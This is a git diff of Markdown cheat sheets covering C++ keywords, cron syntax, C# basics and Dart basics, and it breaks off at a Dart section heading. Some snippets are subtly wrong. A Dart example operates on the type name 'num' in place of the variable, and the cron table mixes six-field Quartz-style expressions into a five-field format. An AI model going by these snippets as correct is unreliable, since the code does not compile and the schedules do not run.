- [bitand](https://en.cppreference.com/w/cpp/keyword/bitand)
|
||||
- [bitor](https://en.cppreference.com/w/cpp/keyword/bitor)
|
||||
- [bool](https://en.cppreference.com/w/cpp/keyword/bool)
|
||||
- [break](https://en.cppreference.com/w/cpp/keyword/break)
|
||||
- [case](https://en.cppreference.com/w/cpp/keyword/case)
|
||||
- [catch](https://en.cppreference.com/w/cpp/keyword/catch)
|
||||
- [char](https://en.cppreference.com/w/cpp/keyword/char)
|
||||
- [char8_t](https://en.cppreference.com/w/cpp/keyword/char8_t)
|
||||
- [char16_t](https://en.cppreference.com/w/cpp/keyword/char16_t)
|
||||
- [char32_t](https://en.cppreference.com/w/cpp/keyword/char32_t)
|
||||
- [class](https://en.cppreference.com/w/cpp/keyword/class)
|
||||
- [compl](https://en.cppreference.com/w/cpp/keyword/compl)
|
||||
- [concept](https://en.cppreference.com/w/cpp/keyword/concept)
|
||||
- [const](https://en.cppreference.com/w/cpp/keyword/const)
|
||||
- [consteval](https://en.cppreference.com/w/cpp/keyword/consteval)
|
||||
- [constexpr](https://en.cppreference.com/w/cpp/keyword/constexpr)
|
||||
- [constinit](https://en.cppreference.com/w/cpp/keyword/constinit)
|
||||
- [const_cast](https://en.cppreference.com/w/cpp/keyword/const_cast)
|
||||
- [continue](https://en.cppreference.com/w/cpp/keyword/continue)
|
||||
- [co_await](https://en.cppreference.com/w/cpp/keyword/co_await)
|
||||
- [co_return](https://en.cppreference.com/w/cpp/keyword/co_return)
|
||||
- [co_yield](https://en.cppreference.com/w/cpp/keyword/co_yield)
|
||||
- [decltype](https://en.cppreference.com/w/cpp/keyword/decltype)
|
||||
- [default](https://en.cppreference.com/w/cpp/keyword/default)
|
||||
- [delete](https://en.cppreference.com/w/cpp/keyword/delete)
|
||||
- [do](https://en.cppreference.com/w/cpp/keyword/do)
|
||||
- [double](https://en.cppreference.com/w/cpp/keyword/double)
|
||||
- [dynamic_cast](https://en.cppreference.com/w/cpp/keyword/dynamic_cast)
|
||||
- [else](https://en.cppreference.com/w/cpp/keyword/else)
|
||||
- [enum](https://en.cppreference.com/w/cpp/keyword/enum)
|
||||
- [explicit](https://en.cppreference.com/w/cpp/keyword/explicit)
|
||||
- [export](https://en.cppreference.com/w/cpp/keyword/export)
|
||||
- [extern](https://en.cppreference.com/w/cpp/keyword/extern)
|
||||
- [false](https://en.cppreference.com/w/cpp/keyword/false)
|
||||
- [float](https://en.cppreference.com/w/cpp/keyword/float)
|
||||
- [for](https://en.cppreference.com/w/cpp/keyword/for)
|
||||
- [friend](https://en.cppreference.com/w/cpp/keyword/friend)
|
||||
- [goto](https://en.cppreference.com/w/cpp/keyword/goto)
|
||||
- [if](https://en.cppreference.com/w/cpp/keyword/if)
|
||||
- [inline](https://en.cppreference.com/w/cpp/keyword/inline)
|
||||
- [int](https://en.cppreference.com/w/cpp/keyword/int)
|
||||
- [long](https://en.cppreference.com/w/cpp/keyword/long)
|
||||
- [mutable](https://en.cppreference.com/w/cpp/keyword/mutable)
|
||||
- [namespace](https://en.cppreference.com/w/cpp/keyword/namespace)
|
||||
- [new](https://en.cppreference.com/w/cpp/keyword/new)
|
||||
- [noexcept](https://en.cppreference.com/w/cpp/keyword/noexcept)
|
||||
- [not](https://en.cppreference.com/w/cpp/keyword/not)
|
||||
- [not_eq](https://en.cppreference.com/w/cpp/keyword/not_eq)
|
||||
- [nullptr](https://en.cppreference.com/w/cpp/keyword/nullptr)
|
||||
- [operator](https://en.cppreference.com/w/cpp/keyword/operator)
|
||||
- [or](https://en.cppreference.com/w/cpp/keyword/or)
|
||||
- [or_eq](https://en.cppreference.com/w/cpp/keyword/or_eq)
|
||||
- [private](https://en.cppreference.com/w/cpp/keyword/private)
|
||||
- [protected](https://en.cppreference.com/w/cpp/keyword/protected)
|
||||
- [public](https://en.cppreference.com/w/cpp/keyword/public)
|
||||
- [reflexpr](https://en.cppreference.com/w/cpp/keyword/reflexpr)
|
||||
- [register](https://en.cppreference.com/w/cpp/keyword/register)
|
||||
- [reinterpret_cast](https://en.cppreference.com/w/cpp/keyword/reinterpret_cast)
|
||||
- [requires](https://en.cppreference.com/w/cpp/keyword/requires)
|
||||
- [return](https://en.cppreference.com/w/cpp/language/return)
|
||||
- [short](https://en.cppreference.com/w/cpp/keyword/short)
|
||||
- [signed](https://en.cppreference.com/w/cpp/keyword/signed)
|
||||
- [sizeof](https://en.cppreference.com/w/cpp/keyword/sizeof)
|
||||
- [static](https://en.cppreference.com/w/cpp/keyword/static)
|
||||
- [static_assert](https://en.cppreference.com/w/cpp/keyword/static_assert)
|
||||
- [static_cast](https://en.cppreference.com/w/cpp/keyword/static_cast)
|
||||
- [struct](https://en.cppreference.com/w/cpp/keyword/struct)
|
||||
- [switch](https://en.cppreference.com/w/cpp/keyword/switch)
|
||||
- [synchronized](https://en.cppreference.com/w/cpp/keyword/synchronized)
|
||||
- [template](https://en.cppreference.com/w/cpp/keyword/template)
|
||||
- [this](https://en.cppreference.com/w/cpp/keyword/this)
|
||||
- [thread_local](https://en.cppreference.com/w/cpp/keyword/thread_local)
|
||||
- [throw](https://en.cppreference.com/w/cpp/keyword/throw)
|
||||
- [true](https://en.cppreference.com/w/cpp/keyword/true)
|
||||
- [try](https://en.cppreference.com/w/cpp/keyword/try)
|
||||
- [typedef](https://en.cppreference.com/w/cpp/keyword/typedef)
|
||||
- [typeid](https://en.cppreference.com/w/cpp/keyword/typeid)
|
||||
- [typename](https://en.cppreference.com/w/cpp/keyword/typename)
|
||||
- [union](https://en.cppreference.com/w/cpp/keyword/union)
|
||||
- [unsigned](https://en.cppreference.com/w/cpp/keyword/unsigned)
|
||||
- [using](https://en.cppreference.com/w/cpp/keyword/using)
|
||||
- [virtual](https://en.cppreference.com/w/cpp/keyword/virtual)
|
||||
- [void](https://en.cppreference.com/w/cpp/keyword/void)
|
||||
- [volatile](https://en.cppreference.com/w/cpp/keyword/volatile)
|
||||
- [wchar_t](https://en.cppreference.com/w/cpp/keyword/wchar_t)
|
||||
- [while](https://en.cppreference.com/w/cpp/keyword/while)
|
||||
- [xor](https://en.cppreference.com/w/cpp/keyword/xor)
|
||||
- [xor_eq](https://en.cppreference.com/w/cpp/keyword/xor_eq)
|
||||
- [final](https://en.cppreference.com/w/cpp/language/final)
|
||||
- [override](https://en.cppreference.com/w/cpp/language/override)
|
||||
- [transaction_safe](https://en.cppreference.com/w/cpp/language/transactional_memory)
|
||||
- [transaction_safe_dynamic](https://en.cppreference.com/w/cpp/language/transactional_memory)
|
||||
{.style-none .cols-5}
|
||||
|
||||
### Preprocessor
|
||||
|
||||
- [if](https://en.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [elif](https://en.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [else](https://en.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [endif](https://en.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [ifdef](https://en.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [ifndef](https://en.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [define](https://en.cppreference.com/w/cpp/preprocessor/replace)
|
||||
- [undef](https://en.cppreference.com/w/cpp/preprocessor/replace)
|
||||
- [include](https://en.cppreference.com/w/cpp/preprocessor/include)
|
||||
- [line](https://en.cppreference.com/w/cpp/preprocessor/line)
|
||||
- [error](https://en.cppreference.com/w/cpp/preprocessor/error)
|
||||
- [pragma](https://en.cppreference.com/w/cpp/preprocessor/impl)
|
||||
- [defined](https://en.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [__has_include](https://en.cppreference.com/w/cpp/feature_test)
|
||||
- [__has_cpp_attribute](https://en.cppreference.com/w/cpp/feature_test)
|
||||
- [export](https://en.cppreference.com/w/cpp/keyword/export)
|
||||
- [import](https://en.cppreference.com/mwiki/index.php?title=cpp/keyword/import&action=edit&redlink=1)
|
||||
- [module](https://en.cppreference.com/mwiki/index.php?title=cpp/keyword/module&action=edit&redlink=1)
|
||||
{.style-none .cols-2}
|
||||
|
||||
## Also see
|
||||
|
||||
- [C++ Infographics & Cheat Sheets](https://hackingcpp.com/cpp/cheat_sheets.html) _(hackingcpp.com)_
|
||||
|
||||
- [C++ reference](https://en.cppreference.com/w/) _(cppreference.com)_
|
||||
- [C++ Language Tutorials](http://www.cplusplus.com/doc/tutorial/) _(cplusplus.com)_
|
||||
@@ -0,0 +1,118 @@
|
||||
---
|
||||
title: Cron
|
||||
date: 2020-12-16 18:28:43
|
||||
icon: icon-cron
|
||||
background: bg-red-500
|
||||
tags:
|
||||
- schedule
|
||||
- crontab
|
||||
- time
|
||||
categories:
|
||||
- Linux Command
|
||||
intro: |
|
||||
[Cron](https://en.wikipedia.org/wiki/Cron) is most suitable for scheduling repetitive tasks. Scheduling one-time tasks can be accomplished using the associated at utility.
|
||||
---
|
||||
|
||||
|
||||
Crontab Format {.cols-2}
|
||||
------
|
||||
|
||||
### Format
|
||||
|
||||
```
|
||||
Min Hour Day Mon Weekday
|
||||
```
|
||||
|
||||
-------
|
||||
|
||||
```
|
||||
* * * * * command to be executed
|
||||
```
|
||||
|
||||
```
|
||||
┬ ┬ ┬ ┬ ┬
|
||||
│ │ │ │ └─ Day of Week (0=Sun .. 6=Sat)
|
||||
│ │ │ └────── Month (1..12)
|
||||
│ │ └─────────── Day of Month (1..31)
|
||||
│ └──────────────── Hour (0..23)
|
||||
└───────────────────── Minute (0..59)
|
||||
```
|
||||
|
||||
------
|
||||
------
|
||||
|
||||
| Field | Range | Special characters |
|
||||
|--------------|--------|--------------------|
|
||||
| Minute | 0 - 59 | , - * / |
|
||||
| Hour | 0 - 23 | , - * / |
|
||||
| Day of Month | 1 - 31 | , - * ? / L W |
|
||||
| Month | 1 - 12 | , - * / |
|
||||
| Day of Week | 0 - 6 | , - * ? / L # |
|
||||
{.show-header}
|
||||
|
||||
|
||||
### Examples
|
||||
|
||||
| Example | Description |
|
||||
|----------------|------------------------|
|
||||
| `*/15 * * * *` | Every 15 mins |
|
||||
| `0 * * * *` | Every hour |
|
||||
| `0 */2 * * *` | Every 2 hours |
|
||||
| `15 2 * * *` | At 2:15AM of every day |
|
||||
| `15 2 * * ?` | At 2:15AM of every day |
|
||||
|
||||
| `10 9 * * 5` | At 9:10AM of every Friday |
|
||||
| `0 0 * * 0` | At midnight of every Sunday |
|
||||
|
||||
| `15 2 * * 1L` | At 2:15am on the last monday of every month |
|
||||
| `15 0 * * 4#2` | At 00:15am on the second thursday of every month |
|
||||
| `0 0 0 1 * *` | Every 1st of month (monthly) |
|
||||
| `0 0 0 1 1 *` | Every 1st of january (yearly) |
|
||||
|
||||
| `@reboot` | Every reboot <br>_(non-standard)_ |
|
||||
|
||||
|
||||
### Special strings
|
||||
|
||||
| Special String | Meaning |
|
||||
|----------------|----------------------------------------------------|
|
||||
| @reboot | Run once, at system startup _(non-standard)_ |
|
||||
| @yearly | Run once every year, "0 0 1 1 *" _(non-standard)_ |
|
||||
| @annually | (same as @yearly) _(non-standard)_ |
|
||||
| @monthly | Run once every month, "0 0 1 * *" _(non-standard)_ |
|
||||
| @weekly | Run once every week, "0 0 * * 0" _(non-standard)_ |
|
||||
| @daily | Run once each day, "0 0 * * *" _(non-standard)_ |
|
||||
| @midnight | (same as @daily) _(non-standard)_ |
|
||||
| @hourly | Run once an hour, "0 * * * *" _(non-standard)_ |
|
||||
|
||||
|
||||
### Crontab command
|
||||
|
||||
|
||||
| - | - |
|
||||
|--------------|-------------------------------------------------------------------------|
|
||||
| `crontab -e` | Edit or create a crontab file if doesn’t already exist. |
|
||||
| `crontab -l` | Display the crontab file. |
|
||||
| `crontab -r` | Remove the crontab file. |
|
||||
| `crontab -v` | Display the last time you edited your crontab file.<br>_(non-standard)_ |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
### Special characters {.col-span-2}
|
||||
| Special Character | Description |
|
||||
|---------------------|------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| `Asterik(*)` | Matches all values in the field or any possible value. |
|
||||
| `Hyphen(-)` | Used to define a range.Ex: 1-5 in 5th field(Day Of Week) Every Weekday i.e., Monday to Friday |
|
||||
| `Slash (/)` | 1st field(Minute) /15 meaning every fifteen minute or increment of range. |
|
||||
| `Comma (,)` | Used to separate items.Ex: 2,6,8 in 2nd fields(Hour) executes at 2am,6am and 8am |
|
||||
| `L` | It is allowed only for Day of Month or Day Of Week field, 2L in Day of week indicates Last tuesday of every month |
|
||||
| `Hash (#)` | It is allowed only for Day Of Week field, which must be followed within range of 1 to 5. For example, 4#1 means "The first Thursday" of given month. |
|
||||
| `Question mark (?)` | Can be instead of '*' and allowed for Day of Month and Day Of Week. Usage is restricted to either Day of Month or Day Of Week in a cron expression. |
|
||||
|
||||
|
||||
|
||||
## Also see {.cols-1}
|
||||
|
||||
* [Devhints](https://devhints.io/cron) _(devhints.io)_
|
||||
* [Crontab Generator](https://crontab-generator.org/) _(crontab-generator.org)_
|
||||
* [Crontab guru](https://crontab.guru/) _(crontab.guru)_
|
||||
@@ -0,0 +1,219 @@
|
||||
---
|
||||
title: C#
|
||||
date: 2021-12-14 12:22:00
|
||||
icon: icon-cs
|
||||
background: bg-[#8c4c8a]
|
||||
tags:
|
||||
- object-oriented
|
||||
- class
|
||||
categories:
|
||||
- Programming
|
||||
intro: |
|
||||
C# quick reference cheat sheet that provides basic syntax and methods.
|
||||
---
|
||||
|
||||
|
||||
Getting started {.cols-3}
|
||||
--------
|
||||
|
||||
### Hello.cs
|
||||
```cs
|
||||
class Hello {
|
||||
// main method
|
||||
static void Main(string[] args)
|
||||
{
|
||||
// Output: Hello, world!
|
||||
Console.WriteLine("Hello, world!");
|
||||
}
|
||||
}
|
||||
```
|
||||
Compiling and running (make sure you are in the project directory)
|
||||
```shell script
|
||||
$ dotnet run
|
||||
Hello, world!
|
||||
```
|
||||
|
||||
|
||||
### Variables
|
||||
```cs
|
||||
int intNum = 9;
|
||||
long longNum = 9999999;
|
||||
float floatNum = 9.99F;
|
||||
double doubleNum = 99.999;
|
||||
decimal decimalNum = 99.9999M;
|
||||
char letter = 'D';
|
||||
bool @bool = true;
|
||||
string site = "quickref.me";
|
||||
|
||||
var num = 999;
|
||||
var str = "999";
|
||||
var bo = false;
|
||||
```
|
||||
|
||||
|
||||
### Primitive Data Types
|
||||
| Data Type | Size | Range |
|
||||
| --------- | ---------------- | ----------------------- |
|
||||
| `int` | 4 bytes | -2^31^ ^to^ 2^31^-1 |
|
||||
| `long` | 8 bytes | -2^63^ ^to^ 2^63^-1 |
|
||||
| `float` | 4 bytes | 6 ^to^ 7 decimal digits |
|
||||
| `double` | 8 bytes | 15 decimal digits |
|
||||
| `decimal` | 16 bytes | 28 ^to^ 29 decimal digits |
|
||||
| `char` | 2 bytes | 0 ^to^ 65535 |
|
||||
| `bool` | 1 bit | true / false |
|
||||
| `string` | 2 bytes per char | _N/A_ |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
### Comments
|
||||
```cs
|
||||
// Single-line comment
|
||||
|
||||
/* Multi-line
|
||||
comment */
|
||||
|
||||
// TODO: Adds comment to a task list in Visual Studio
|
||||
|
||||
/// Single-line comment used for documentation
|
||||
|
||||
/** Multi-line comment
|
||||
used for documentation **/
|
||||
|
||||
```
|
||||
|
||||
|
||||
### Strings
|
||||
```cs
|
||||
string first = "John";
|
||||
string last = "Doe";
|
||||
|
||||
// string concatenation
|
||||
string name = first + " " + last;
|
||||
Console.WriteLine(name); // => John Doe
|
||||
```
|
||||
See: [Strings](#c-strings)
|
||||
|
||||
### User Input
|
||||
```cs
|
||||
Console.WriteLine("Enter number:");
|
||||
if(int.TryParse(Console.ReadLine(),out int input))
|
||||
{
|
||||
// Input validated
|
||||
Console.WriteLine($"You entered {input}");
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Conditionals
|
||||
```cs
|
||||
int j = 10;
|
||||
|
||||
if (j == 10) {
|
||||
Console.WriteLine("I get printed");
|
||||
} else if (j > 10) {
|
||||
Console.WriteLine("I don't");
|
||||
} else {
|
||||
Console.WriteLine("I also don't");
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Arrays
|
||||
```cs
|
||||
char[] chars = new char[10];
|
||||
chars[0] = 'a';
|
||||
chars[1] = 'b';
|
||||
|
||||
string[] letters = {"A", "B", "C"};
|
||||
int[] mylist = {100, 200};
|
||||
bool[] answers = {true, false};
|
||||
```
|
||||
|
||||
|
||||
### Loops
|
||||
```cs
|
||||
int[] numbers = {1, 2, 3, 4, 5};
|
||||
|
||||
for(int i = 0; i < numbers.Length; i++) {
|
||||
Console.WriteLine(numbers[i]);
|
||||
}
|
||||
```
|
||||
---
|
||||
```cs
|
||||
foreach(int num in numbers) {
|
||||
Console.WriteLine(num);
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
C# Strings {.cols-3}
|
||||
----------------
|
||||
|
||||
### String concatenation
|
||||
```cs
|
||||
string first = "John";
|
||||
string last = "Doe";
|
||||
|
||||
string name = first + " " + last;
|
||||
Console.WriteLine(name); // => John Doe
|
||||
```
|
||||
|
||||
### String interpolation
|
||||
```cs
|
||||
string first = "John";
|
||||
string last = "Doe";
|
||||
|
||||
string name = $"{first} {last}";
|
||||
Console.WriteLine(name); // => John Doe
|
||||
```
|
||||
|
||||
### String Members {.row-span-2}
|
||||
| Member | Description |
|
||||
|------------ |-------------|
|
||||
| Length | A property that returns the length of the string. |
|
||||
| Compare() | A static method that compares two strings. |
|
||||
| Contains() | Determines if the string contains a specific substring. |
|
||||
| Equals() | Determines if the two strings have the same character data. |
|
||||
| Format() | Formats a string via the {0} notation and by using other primitives. |
|
||||
| Trim() | Removes all instances of specific characters from trailing and leading characters. Defaults to removing leading and trailing spaces. |
|
||||
| Split() | Removes the provided character and creates an array out of the remaining characters on either side. |
|
||||
{.show-header}
|
||||
|
||||
|
||||
### Verbatim strings
|
||||
```cs {.wrap}
|
||||
string longString = @"I can type any characters in here !#@$%^&*()__+ '' \n \t except double quotes and I will be taken literally. I even work with multiple lines.";
|
||||
```
|
||||
|
||||
|
||||
### Member Example
|
||||
```cs
|
||||
// Using property of System.String
|
||||
string lengthOfString = "How long?";
|
||||
lengthOfString.Length // => 9
|
||||
|
||||
// Using methods of System.String
|
||||
lengthOfString.Contains("How"); // => true
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
Misc {.cols-3}
|
||||
-----------
|
||||
|
||||
### General .NET Terms {.col-span-2}
|
||||
|
||||
| Term | Definition |
|
||||
|------------|------------|
|
||||
| Runtime | A collection of services that are required to execute a given compiled unit of code. |
|
||||
| Common Language Runtime (CLR) | Primarily locates, loads, and managed .NET objects. The CLR also handles memory management, application hosting, coordination of threads, performaing security checks, and other low-level details. |
|
||||
| Managed code | Code that compiles and runs on .NET runtime. C#/F#/VB are examples. |
|
||||
| Unmanaged code | Code that compiles straight to machine code and cannot be directly hosted by the .NET runtime. Contains no free memory management, garbage collection, etc. DLLs created from C/C++ are examples. |
|
||||
{.show-header}
|
||||
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,582 @@
|
||||
---
|
||||
title: Dart
|
||||
date: 2021-11-04 10:12:25
|
||||
icon: icon-dart
|
||||
background: bg-[#58aee9]
|
||||
tags:
|
||||
- dart
|
||||
- flutter
|
||||
categories:
|
||||
- Programming
|
||||
intro: |
|
||||
A Dart cheat sheet with the most important concepts, functions, methods, and more. A complete quick reference for beginners.
|
||||
---
|
||||
|
||||
|
||||
|
||||
|
||||
Getting started {.cols-2}
|
||||
------------
|
||||
|
||||
### hello.dart
|
||||
```dart
|
||||
// top-level function where app execution starts
|
||||
void main(){
|
||||
print("Hello World!"); // Print to console
|
||||
}
|
||||
```
|
||||
Every app has a main() function
|
||||
|
||||
|
||||
### Variables
|
||||
|
||||
```dart
|
||||
int x = 2; // explicitly typed
|
||||
var p = 5; // type inferred - Generic var with type inference
|
||||
|
||||
dynamic z = 8; // variable can take on any type
|
||||
z = "cool"; // cool
|
||||
|
||||
// if you never intend to change a variable use final or const. Something like this:
|
||||
|
||||
final email = "temid@gmail.com"; // Same as var but cannot be reassigned
|
||||
final String email = "temid@gmail.com"; // you can't change the value
|
||||
|
||||
const qty = 5; // Compile-time constant
|
||||
```
|
||||
|
||||
|
||||
### Datatypes
|
||||
|
||||
```dart
|
||||
|
||||
int age = 20; // integers, range -2^63 to 2^63 - 1
|
||||
double height = 1.85; // floating-point numbers
|
||||
|
||||
// You can also declare a variable as a num
|
||||
num x = 1; // x can have both int and double values
|
||||
num += 2.5;
|
||||
print(num); //Print: 3.5
|
||||
|
||||
String name = "Nicola";
|
||||
|
||||
bool isFavourite = true;
|
||||
bool isLoaded = false;
|
||||
```
|
||||
|
||||
|
||||
### String interpolation
|
||||
|
||||
```dart
|
||||
// can use single or double qoutes for String type
|
||||
var firstName = 'Nicola';
|
||||
var lastName = "Tesla";
|
||||
|
||||
//can embed variables in string with $
|
||||
String fullName = "$firstName $lastName";
|
||||
|
||||
// concatenate with +
|
||||
var name = "Albert " + "Einstein";
|
||||
|
||||
String upperCase = '${firstName.toUpperCase()}';
|
||||
print(upperCase); //Print: NICOLA
|
||||
```
|
||||
|
||||
### Comments
|
||||
```dart
|
||||
// This is a normal, one-line comment.
|
||||
|
||||
/// This is a documentation comment, used to document libraries,
|
||||
/// classes, and their members. Tools like IDEs and dartdoc treat
|
||||
/// doc comments specially.
|
||||
|
||||
/* Comments like these are also supported. */
|
||||
```
|
||||
|
||||
### Imports
|
||||
```dart
|
||||
// Importing core libraries
|
||||
import 'dart:math';
|
||||
|
||||
// Importing libraries from external packages
|
||||
import 'package:test/test.dart';
|
||||
|
||||
// Importing files
|
||||
import 'path/to/my_other_file.dart';
|
||||
```
|
||||
|
||||
|
||||
Operators {.cols-2}
|
||||
------------
|
||||
|
||||
### Arithmatic Operators
|
||||
```dart
|
||||
print(2 + 3); //Print: 5
|
||||
print(2 - 3); //Print: -1
|
||||
print(2 * 3); //Print: 6
|
||||
print(5 / 2); //Print: 2.5 - Result is a double
|
||||
print(5 ~/ 2); //Print: 2 - Result is an int
|
||||
print(5 % 2); //Print: 1 - Remainder
|
||||
|
||||
int a = 1, b;
|
||||
// Increment
|
||||
b = ++a; // preIncrement - Increment a before b gets its value.
|
||||
b = a++; // postIncrement - Increment a AFTER b gets its value.
|
||||
|
||||
//Decrement
|
||||
b = --a; // predecrement - Decrement a before b gets its value.
|
||||
b = a--; // postdecrement - Decrement a AFTER b gets its value.
|
||||
```
|
||||
|
||||
|
||||
### Equality and relational operators
|
||||
```dart
|
||||
print(2 == 2); //Print: true - Equal
|
||||
print(2 != 3); //Print: true - Not Equal
|
||||
print(3 > 2); //Print: true - Grater than
|
||||
print(2 < 3); //Print: true - Less than
|
||||
print(3 >= 3); //Print: true - Greater than or equal to
|
||||
print(2 <= 3); //Print: true - Less than or equal to
|
||||
```
|
||||
|
||||
|
||||
### Logical operators
|
||||
```dart
|
||||
// !expr inverts the expression (changes false to true, and vice versa)
|
||||
// || logical OR
|
||||
// && logical AND
|
||||
bool isOutOfStock = false;
|
||||
int quantity = 3;
|
||||
if (!isOutOfStock && (quantity == 2 || quantity == 3)) {
|
||||
// ...Order the product...
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
Control Flows : Conditionals {.cols-2}
|
||||
------------
|
||||
|
||||
|
||||
### if and else if
|
||||
```dart
|
||||
if(age < 18){
|
||||
print("Teen");
|
||||
} else if( age > 18 && age <60){
|
||||
print("Adult");
|
||||
} else {
|
||||
print("Old");
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### switch case
|
||||
```dart
|
||||
enum Pet {dog, cat}
|
||||
Pet myPet = Pet.dog;
|
||||
switch(myPet){
|
||||
case Pet.dog:
|
||||
print('My Pet is Dog.');
|
||||
break;
|
||||
case Pet.cat:
|
||||
print('My Pet is Cat.');
|
||||
break;
|
||||
default:
|
||||
print('I don\'t have a Pet');
|
||||
}
|
||||
// Prints: My Pet is Dog.
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
Control Flows : Loops {.cols-3}
|
||||
------------
|
||||
|
||||
|
||||
### while loop
|
||||
```dart
|
||||
while (!dreamsAchieved) {
|
||||
workHard();
|
||||
}
|
||||
```
|
||||
while loop check condition before iteration of the loop
|
||||
|
||||
### do-while loop
|
||||
```dart
|
||||
do {
|
||||
workHard();
|
||||
} while (!dreamsAchieved);
|
||||
```
|
||||
do-while loop verifies the condition after the execution of the statements inside the loop
|
||||
|
||||
### for loop
|
||||
```dart
|
||||
for(int i=0; i< 10; i++){
|
||||
print(i);
|
||||
}
|
||||
|
||||
var numbers = [1,2,3];
|
||||
// for-in loop for lists
|
||||
for(var number in numbers){
|
||||
print(number);
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
Collections {.cols-2}
|
||||
------------
|
||||
|
||||
### Lists
|
||||
|
||||
```dart
|
||||
// ordered group of objects
|
||||
var list = [1, 2, 3];
|
||||
|
||||
print(list.length); //Print: 3
|
||||
print(list[1]); //Print: 2
|
||||
|
||||
// other ways of list declaration and initializations
|
||||
|
||||
List<String> cities = <String>["New York", "Mumbai", "Tokyo"];
|
||||
|
||||
// To create a list that’s a compile-time constant
|
||||
const constantCities = const ["New York", "Mumbai", "Tokyo"];
|
||||
```
|
||||
|
||||
|
||||
### Sets
|
||||
|
||||
```dart
|
||||
// A set in Dart is an unordered collection of unique items.
|
||||
var halogens = {'fluorine', 'chlorine', 'bromine', 'iodine', 'astatine'};
|
||||
|
||||
// to create an empty set
|
||||
var names = <String>{};
|
||||
Set<String> names = {}; // This works, too.
|
||||
//var names = {}; // Creates a map, not a set.
|
||||
```
|
||||
|
||||
|
||||
### Maps
|
||||
|
||||
```dart
|
||||
// a map is an object that associates keys and values
|
||||
var person = Map<String, String>();
|
||||
// To initialize the map, do this:
|
||||
person['firstName'] = 'Nicola';
|
||||
person['lastName'] = 'Tesla';
|
||||
|
||||
print(person); //Print: {firstName: Nicola, lastName: Tesla}
|
||||
print(person['lastName']); //Print: Tesla
|
||||
|
||||
|
||||
var nobleGases = {
|
||||
// Key: Value
|
||||
2: 'helium',
|
||||
10: 'neon',
|
||||
18: 'argon',
|
||||
};
|
||||
```
|
||||
|
||||
|
||||
|
||||
Functions {.cols-2}
|
||||
------------
|
||||
|
||||
### Functions
|
||||
```dart
|
||||
// functions in dart are objects and have a type
|
||||
int add(int a, int b){
|
||||
return a+b;
|
||||
}
|
||||
|
||||
// functions can be assigned to variables
|
||||
int sum = add(2,3); // returns: 5
|
||||
|
||||
// can be passed as arguments to other functions
|
||||
int totalSum = add(2, add(2,3)); // returns : 7
|
||||
```
|
||||
|
||||
|
||||
### Arrow Syntax (=>)
|
||||
```dart
|
||||
// functions that contain just one expression, you can use a shorthand syntax
|
||||
bool isFav(Product product) => favProductsList.contains(product);
|
||||
```
|
||||
|
||||
### Anonymous (lambda) functions
|
||||
```dart
|
||||
// small one line functions that dont have name
|
||||
int add(a,b) => a+b;
|
||||
|
||||
// lambda functions mostly passed as parameter to other functions
|
||||
const list = ['apples', 'bananas', 'oranges'];
|
||||
list.forEach(
|
||||
(item) => print('${list.indexOf(item)}: $item'));
|
||||
//Prints: 0: apples 1: bananas 2: oranges
|
||||
```
|
||||
|
||||
Classes and Objects {.cols-3}
|
||||
----------
|
||||
|
||||
### Class
|
||||
```dart
|
||||
class Cat {
|
||||
String name;
|
||||
|
||||
// method
|
||||
void voice(){
|
||||
print("Meow");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Object
|
||||
```dart
|
||||
// instance of a class
|
||||
// below myCat is Object of class Cat
|
||||
|
||||
void main(){
|
||||
Cat myCat = Cat();
|
||||
myCat.name = "Kitty";
|
||||
myCat.voice(); // Prints: Meow
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Constructors
|
||||
```dart
|
||||
class Cat {
|
||||
String name;
|
||||
Cat(this.name);
|
||||
}
|
||||
void main(){
|
||||
Cat myCat = Cat("Kitty");
|
||||
print(myCat.name); // Prints: Kitty
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Abstract Classes
|
||||
```dart
|
||||
// abstract class—a class that can’t be instantiated
|
||||
// This class is declared abstract and thus can't be instantiated.
|
||||
abstract class AbstractContainer {
|
||||
// Define constructors, fields, methods...
|
||||
|
||||
void updateChildren(); // Abstract method.
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Getters Setters
|
||||
```dart
|
||||
// provide read and write access to an object’s properties
|
||||
class Cat {
|
||||
String name;
|
||||
|
||||
// getter
|
||||
String get catName {
|
||||
return name;
|
||||
}
|
||||
|
||||
// setter
|
||||
void set catName(String name){
|
||||
this.name = name;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
Implicit interfaces {.cols-2}
|
||||
------------
|
||||
|
||||
### A basic interface
|
||||
```dart
|
||||
// A person. The implicit interface contains greet().
|
||||
class Person {
|
||||
// In the interface, but visible only in this library.
|
||||
final String _name;
|
||||
|
||||
// Not in the interface, since this is a constructor.
|
||||
Person(this._name);
|
||||
|
||||
// In the interface.
|
||||
String greet(String who) => 'Hello, $who. I am $_name.';
|
||||
}
|
||||
|
||||
// An implementation of the Person interface.
|
||||
class Impostor implements Person {
|
||||
String get _name => '';
|
||||
|
||||
String greet(String who) => 'Hi $who. Do you know who I am?';
|
||||
}
|
||||
|
||||
String greetBob(Person person) => person.greet('Bob');
|
||||
|
||||
void main() {
|
||||
print(greetBob(Person('Kathy'))); // Hello, Bob. I am Kathy.
|
||||
print(greetBob(Impostor())); // Hi Bob. Do you know who I am?
|
||||
}
|
||||
```
|
||||
|
||||
### Extending a class
|
||||
